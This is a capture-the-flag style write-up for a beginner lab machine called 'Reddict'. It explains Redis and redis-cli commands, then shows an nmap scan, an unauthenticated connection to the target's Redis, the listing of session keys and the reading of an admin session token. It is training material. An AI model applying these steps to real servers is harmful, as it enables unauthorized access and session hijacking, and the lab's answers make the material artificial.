Reddict Write-up

Introduction

The Reddict warmup machine is the ideal starting point for learning about the security of NoSQL databases. In Reddict, you will learn how to detect and exploit vulnerabilities in Redis services, while also learning about the basic operation and configuration of Redis. This experience will give you a perspective on NoSQL database security and help you improve your cybersecurity skills.

NoSQL

NoSQL is a type of database management system that offers more flexible data models instead of the strict schemas and query languages of traditional relational database systems. The name originated as an abbreviation of "Not Only SQL", which means that NoSQL systems support different data storage and query methods other than SQL.

NoSQL databases are designed to work with unstructured data on a large scale and thus meet the needs of large-scale, distributed applications. These systems typically offer features such as high performance, horizontal scalability and easy data distribution.

Redis

Redis (**RE**mote **DI**ctionary **S**ervice) is an open source, speed-oriented and high-performance database management system. First developed in 2009, Redis is especially known for its key-value storage structure and supports a wide variety of data types. These data types include arrays, lists, maps, sets and ordered sets. Its performance is high because it stores data in memory and writes it to disk when needed. With these features, Redis offers an ideal solution for situations such as session management, caching, message queues and real-time applications, especially in web applications.

One of the most remarkable features of Redis is that it has a simple and effective structure. It also stands out with its easy scalability and use in distributed systems. It also has features such as replication and key expiration to ensure high availability and durability. With its fast and flexible structure, Redis is often preferred by developers and system administrators who want to perform high-performance operations on large data sets. Therefore, it has become a popular component in modern application architectures.

redis-cli
Redis-cli is a command line tool used to manage and interact with the Redis database system. This tool facilitates operations such as adding, updating and retrieving data and managing database configuration by communicating directly with Redis servers.

Syntax

```
redis-cli -h <hostname> -p <port-number> --user <username> -a <password>
```

```
-h : The hostname or IP address of the computer running the Redis server
to connect to.

-p : The parameter used to specify the port number. It is not necessary to
specify if you want to connect to Redis's default port 6379.

--user : Used to specify which user to connect as when connecting to the
Redis server.

-a : Parameter used to specify a password.
```

Example Connection
In the example connection below, there is no need to use parameters such as hostname as it connects to the Redis server on the computer (local) where the redis-cli tool is running.

```
root💀hackerbox:~# redis-cli
127.0.0.1:6379>
```

PING
Checks if the Redis server is running.

```
root💀hackerbox:~# redis-cli
127.0.0.1:6379> PING
PONG
```

HELP
Provides information about commands.

```
127.0.0.1:6379> HELP PING

  PING [message]
  summary: Ping the server
  since: 1.0.0
  group: connection
```

INFO
Provides information and statistics about the server.

```
127.0.0.1:6379> INFO
# Server
redis_version:6.0.16
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:6d95e1af3a2c082a
redis_mode:standalone
os:Linux 5.10.0-26-amd64 x86_64
 ...
```

MONITOR
Listen for all requests received by the server in real time.

```
127.0.0.1:6379> MONITOR
OK
1704453952.446843 [0 127.0.0.1:48944] "COMMAND" "DOCS"
1704453952.448960 [0 127.0.0.1:48944] "COMMAND"
1704453962.083647 [0 127.0.0.1:48944] "PING"
1704453968.347926 [0 127.0.0.1:48944] "INFO"
```

SET
Set the string value of a key.

```
127.0.0.1:6379> SET example_key "example value"
OK
```

GET
Get the value of a key.

```
127.0.0.1:6379> GET example_key
"example value"
```

KEYS
Find all keys matching the given pattern.

```
127.0.0.1:6379> KEYS *
1) "example_key"
```

QUIT
Close the connection.

```
127.0.0.1:6379> QUIT
root💀hackerbox:~#
```

Information Gathering

Let's run a port scan for our target machine.

Task 1, Task 2

```
root💀hackerbox:~# nmap -sV -p1-10000 172.20.1.26
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-05 05:54 CST
Nmap scan report for 172.20.1.26
Host is up (0.00029s latency).
Not shown: 9999 closed ports
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 6.0.16
MAC Address: 52:54:00:3C:B9:6F (QEMU virtual NIC)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds
```

System Access

Let's try to connect to the Redis server running on our target machine.

Task 3, Task 4

We can use the `redis-cli` tool to connect to a remote Redis server.

```
root💀hackerbox:~# redis-cli -h 172.20.1.26
172.20.1.26:6379> PING
PONG
```

Task 5, Task 6, Task 7

The `INFO` command is used to get information and statistics about the Redis server.

The `KEYS *` command is used to display all keys.

```
172.20.1.26:6379> KEYS *
 1) "session:user-569"
 2) "session:user-822"
 3) "session:user-230"
 4) "session:admin-001"
 5) "session:user-800"
 6) "session:user-310"
 7) "session:user-552"
 8) "session:user-111"
 9) "session:user-878"
10) "session:user-992"
11) "session:user-893"
```

As can be seen in the command output above, there are `11` keys on the Redis server.

Task 8, Task 9

The `GET` command is used to display the value of a key.

In Task 9, let's look at the value of the `"session:admin-001"` key since it asks for admin session information.

```
172.20.1.26:6379> GET "session:admin-001"
"{\"userID\": \"001\", \"lastLogin\": \"2023-12-10T10:10:01\",
\"sessionToken\": \"iqtoggtry\", \"isLoggedIn\": true}"
```

💪 We succeeded in accessing admin's session token information.

-

Congratulations 🙌

✨ You have successfully completed all tasks in this warmup.